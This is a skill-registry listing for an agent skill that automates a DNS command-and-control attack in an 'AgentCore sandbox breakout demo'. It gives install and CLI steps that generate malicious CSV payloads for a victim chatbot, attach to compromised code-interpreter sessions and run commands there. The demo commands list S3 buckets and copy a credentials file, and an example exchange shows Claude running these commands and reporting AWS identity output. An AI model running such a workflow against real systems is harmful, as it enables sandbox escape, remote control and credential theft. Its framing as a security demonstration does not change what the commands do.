Automates DNS C2 attack workflow for security demonstrations.

Install

mkdir -p .claude/skills/c2 && curl -L -o skill.zip "https://agentskills.codes/api/skills/download/11924" && unzip -o skill.zip -d .claude/skills/c2 && rm skill.zip

Installs to .claude/skills/c2

Activation

This is the description your AI agent reads to decide when to run this skill — the better it matches your request, the more reliably it fires.

DNS C2 operator skill for the AgentCore sandbox breakout demo. This skill should be used when the user asks to run C2 verification, attack a victim chatbot, send commands to a compromised session, retrieve exfiltrated data, or interact with the DNS C2 system.
259 chars✓ has a “when” triggerlonger than Claude Code's old 250-char listing cap (fine on current versions)
Intermediate

Key capabilities

  • Generate malicious CSV payloads
  • Attach to C2 sessions
  • Execute commands in compromised sessions
  • Receive output from compromised sessions
  • Check C2 server status
  • Demonstrate vulnerability exploitation

How it works

The skill automates the DNS C2 attack workflow by generating malicious CSVs, attaching to sessions, and executing commands within those sessions to demonstrate sandbox breakout.

Inputs & outputs

You give it
User request for C2 verification or interaction
You get back
Malicious CSV, attached session, command execution results, or exfiltrated data

When to use c2

  • Verify C2 infrastructure
  • Attack victim chatbot
  • Retrieve exfiltrated data

About this skill

DNS C2 Operator Skill

This skill automates the DNS C2 attack workflow for the AgentCore sandbox breakout demo.

Prerequisites

Before using this skill, ensure:

  1. Attacker infrastructure is deployed (cd attacker-infra && make deploy)
  2. The C2 server is running (happens automatically during deploy)

Quick Commands (from repo root)

# Generate malicious CSV (session ID saved to attacker-infra/.session_id)
make generate-csv

# Attach to session (auto-reads .session_id)
make attach

# Or use the c2 CLI directly from attacker-infra/
cd attacker-infra
uv run c2 generate-csv
uv run c2 attach

Usage Modes

Mode 1: Generate and Upload CSV

When the user wants to attack via CSV upload:

  • "Generate a malicious CSV"
  • "Create a payload for the chatbot"

Workflow:

  1. Run make generate-csv from repo root
  2. Note the session ID (also saved to attacker-infra/.session_id)
  3. Upload attacker-infra/malicious_data.csv to victim chatbot
  4. Run make attach to connect to the session

Mode 2: Attach to Session

When the user wants to connect to an active session:

  • "Attach to the C2 session"
  • "Connect to session sess_abc12345"

Workflow:

# Auto-read session ID from .session_id
make attach

# Or specify manually
cd attacker-infra && uv run c2 attach sess_abc12345

Mode 3: Execute Commands

Once attached, send commands in the operator shell:

  • whoami - Check current user
  • aws s3 ls - List S3 buckets
  • aws sts get-caller-identity - Check IAM identity
  • exit - Disconnect (session stays active)

CLI Reference

All commands run from attacker-infra/ directory:

# Generate payload
uv run c2 generate-csv

# Attach to session (reads from .session_id if no argument)
uv run c2 attach [SESSION_ID]

# Send single command
uv run c2 send "whoami" --session sess_abc12345

# Receive output
uv run c2 receive --session sess_abc12345

# Check C2 server status
uv run c2 status

Common Demo Commands

After attaching to a session, demonstrate the vulnerability:

whoami
aws sts get-caller-identity
aws s3 ls
aws s3 ls s3://victim-chatbot-sensitive-* --recursive
aws s3 cp s3://victim-chatbot-sensitive-*/credentials/api_keys.json -
aws dynamodb list-tables

Error Handling

"Cannot reach C2 server"

The C2 server may not be running. Run: cd attacker-infra && make configure-ec2

Empty output after polling

The payload may not have executed. Check:

  • Victim chatbot is accessible
  • CSV was uploaded and processed
  • DNS queries reaching C2: make logs

Session timeout

Code Interpreter sessions timeout after ~15 minutes. Generate a new CSV and re-upload.

Example Full Workflow

User: Generate a payload for the victim chatbot

Claude runs: make generate-csv
Output: Session ID sess_x7k2m9p1 saved to .session_id

User: I uploaded the CSV, now connect

Claude runs: make attach
-> Connects to sess_x7k2m9p1

User: Run whoami

Claude (in operator shell): whoami
Output: genesis1ptools

User: Check what AWS access we have

Claude: aws sts get-caller-identity
Output: {"Account": "445570921298", "Arn": "arn:aws:sts::..."}

When not to use it

  • When attacker infrastructure is not deployed
  • When the C2 server is not running
  • When a Code Interpreter session times out

Limitations

  • Attacker infrastructure is deployed
  • The C2 server is running
  • Code Interpreter sessions timeout after ~15 minutes

How it compares

This skill provides a structured and automated way to simulate a DNS C2 attack, unlike manual execution of each step.

Compared to similar skills

c2 side by side with the closest alternatives in the catalog.

SkillInstallsUpdatedSafetyDifficulty
c2 (this skill)06moReviewIntermediate
1password272moReviewIntermediate
senior-security317moReviewAdvanced
fix-dependabot-alerts186moReviewIntermediate

Try saying

Example prompts that trigger this skill in your AI assistant.

You might also like

1password

openclaw

Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in (single or multi-account), or reading/injecting/running secrets via op.

2799

senior-security

davila7

Comprehensive security engineering skill for application security, penetration testing, security architecture, and compliance auditing. Includes security assessment tools, threat modeling, crypto implementation, and security automation. Use when designing security architecture, conducting penetration tests, implementing cryptography, or performing security audits.

3191

fix-dependabot-alerts

microsoft

Fix Dependabot security alerts by updating vulnerable npm dependencies. Use when the user mentions "dependabot", "security alerts", "vulnerability", "CVE", or wants to update packages with security issues.

1872

red-team-tools-and-methodology

davila7

This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters.

759

wsdiscovery

BrownFineSecurity

WS-Discovery protocol scanner for discovering and enumerating ONVIF cameras and IoT devices on the network. Use when you need to discover ONVIF devices, cameras, or WS-Discovery enabled equipment on a network.

16

trivy-offline-vulnerability-scanning

benchflow-ai

Use Trivy vulnerability scanner in offline mode to discover security vulnerabilities in dependency files. This skill covers setting up offline scanning, executing Trivy against package lock files, and generating JSON vulnerability reports without requiring internet access.

14

Search skills

Search the agent skills registry